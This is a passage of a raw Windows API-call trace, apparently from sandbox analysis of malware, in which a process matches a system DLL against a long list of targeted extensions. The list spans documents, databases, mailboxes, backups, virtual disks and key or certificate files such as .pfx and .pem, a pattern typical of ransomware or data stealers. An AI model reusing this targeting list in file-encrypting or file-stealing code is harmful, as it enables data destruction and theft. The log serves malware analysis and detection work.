(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.314] lstrlenA (lpString="*.qbx") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.314] lstrlenA (lpString="*.qba") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.314] lstrlenA (lpString="*.qby") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.314] lstrlenA (lpString="*.qbj") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.314] lstrlenA (lpString="*.ofx") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.314] lstrlenA (lpString="*.qif") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.314] lstrlenA (lpString="*.mye") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.314] lstrlenA (lpString="*.mbox") returned 6 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.314] lstrlenA (lpString="*.eml") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.314] lstrlenA (lpString="*.pst") returned 5 [0111.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.315] lstrlenA (lpString="*.ost") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.315] lstrlenA (lpString="*.idx") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.315] lstrlenA (lpString="*.dbx") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.315] lstrlenA (lpString="*.sql") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.315] lstrlenA (lpString="*.mdb") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.315] lstrlenA (lpString="*.fdb") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.315] lstrlenA (lpString="*.wab") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.315] lstrlenA (lpString="*.dat") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.315] lstrlenA (lpString="*.txt") returned 5 [0111.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.315] lstrlenA (lpString="*.jpeg") returned 6 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.316] lstrlenA (lpString="*.jpg") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.316] lstrlenA (lpString="*.png") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.316] lstrlenA (lpString="*.php") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.316] lstrlenA (lpString="*.cs") returned 4 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.316] lstrlenA (lpString="*.cpp") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.316] lstrlenA (lpString="*.rar") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.316] lstrlenA (lpString="*.zip") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.316] lstrlenA (lpString="*.html") returned 6 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.316] lstrlenA (lpString="*.htm") returned 5 [0111.316] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.316] lstrlenA (lpString="*.xlsx") returned 6 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.317] lstrlenA (lpString="*.xls") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.317] lstrlenA (lpString="*.mp4") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.317] lstrlenA (lpString="*.ppt") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.317] lstrlenA (lpString="*.pptx") returned 6 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.317] lstrlenA (lpString="*.doc") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.317] lstrlenA (lpString="*.dot") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.317] lstrlenA (lpString="*.docx") returned 6 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.317] lstrlenA (lpString="*.7z") returned 4 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.317] lstrlenA (lpString="*.tar") returned 5 [0111.317] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.318] lstrlenA (lpString="*.bz2") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.318] lstrlenA (lpString="*.gz") returned 4 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.318] lstrlenA (lpString="*.mkv") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.318] lstrlenA (lpString="*.eml") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.318] lstrlenA (lpString="*.msg") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.318] lstrlenA (lpString="*.edb") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.318] lstrlenA (lpString="*.accdb") returned 7 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.318] lstrlenA (lpString="*.odb") returned 5 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.318] lstrlenA (lpString="*.java") returned 6 [0111.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.318] lstrlenA (lpString="*.asm") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.319] lstrlenA (lpString="*.pfx") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.319] lstrlenA (lpString="*.pem") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.319] lstrlenA (lpString="*.p12") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.319] lstrlenA (lpString="*.gpg") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.319] lstrlenA (lpString="*.vsd") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.319] lstrlenA (lpString="*.odg") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.319] lstrlenA (lpString="*.raw") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.319] lstrlenA (lpString="*.nef") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.319] lstrlenA (lpString="*.svg") returned 5 [0111.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.320] lstrlenA (lpString="*.psd") returned 5 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.320] lstrlenA (lpString="*.vmx") returned 5 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.320] lstrlenA (lpString="*.vmdk") returned 6 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.320] lstrlenA (lpString="*.vdi") returned 5 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.320] lstrlenA (lpString="*.lay6") returned 6 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.320] lstrlenA (lpString="*.mpeg") returned 6 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.320] lstrlenA (lpString="*.djvu") returned 6 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.320] lstrlenA (lpString="*.tiff") returned 6 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.320] lstrlenA (lpString="*.backup") returned 8 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.320] lstrlenA (lpString="*.pdf") returned 5 [0111.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.321] lstrlenA (lpString="*.cert") returned 6 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.321] lstrlenA (lpString="*.docm") returned 6 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.321] lstrlenA (lpString="*.xlsm") returned 6 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.321] lstrlenA (lpString="*.dwg") returned 5 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.321] lstrlenA (lpString="*.nd") returned 4 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.321] lstrlenA (lpString="*.tlg") returned 5 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.321] lstrlenA (lpString="*.lgb") returned 5 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.321] lstrlenA (lpString="*.mov") returned 5 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.321] lstrlenA (lpString="*.xdw") returned 5 [0111.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.321] lstrlenA (lpString="*.ods") returned 5 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.322] lstrlenA (lpString="*.wav") returned 5 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.322] lstrlenA (lpString="*.mp3") returned 5 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.322] lstrlenA (lpString="*.aiff") returned 6 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.322] lstrlenA (lpString="*.flac") returned 6 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.322] lstrlenA (lpString="*.m4a") returned 5 [0111.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.322] lstrlenA (lpString="*.csv") returned 5 [0111.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60c80ba0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60c80ba0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60c80ba0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.322] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.322] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d8b540, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60d8b540, 